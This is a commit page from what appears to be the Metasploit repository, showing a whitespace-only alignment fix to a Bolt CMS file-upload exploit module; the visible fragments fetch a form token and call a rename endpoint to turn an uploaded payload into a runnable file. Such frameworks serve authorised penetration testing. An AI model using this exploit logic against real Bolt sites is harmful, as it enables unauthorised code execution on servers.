Skip to content

Commit 2800eca

Browse files
committed
Fix alignment.
1 parent 48bd2c7 commit 2800eca

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/unix/webapp/bolt_file_upload.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -97,9 +97,9 @@ def bolt_login(user, pass)
9797

9898
def get_token(cookie, fname)
9999
res = send_request_cgi(
100-
'method' => 'GET',
101-
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
102-
'cookie' => cookie
100+
'method' => 'GET',
101+
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
102+
'cookie' => cookie
103103
)
104104

105105
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
@@ -110,8 +110,8 @@ def get_token(cookie, fname)
110110

111111
def rename_payload(cookie, payload, fname)
112112
res = send_request_cgi(
113-
'method' => 'POST',
114-
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
113+
'method' => 'POST',
114+
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
115115
'vars_post' => {
116116
'namespace' => 'theme',
117117
'parent' => fname,

0 commit comments

Comments
 (0)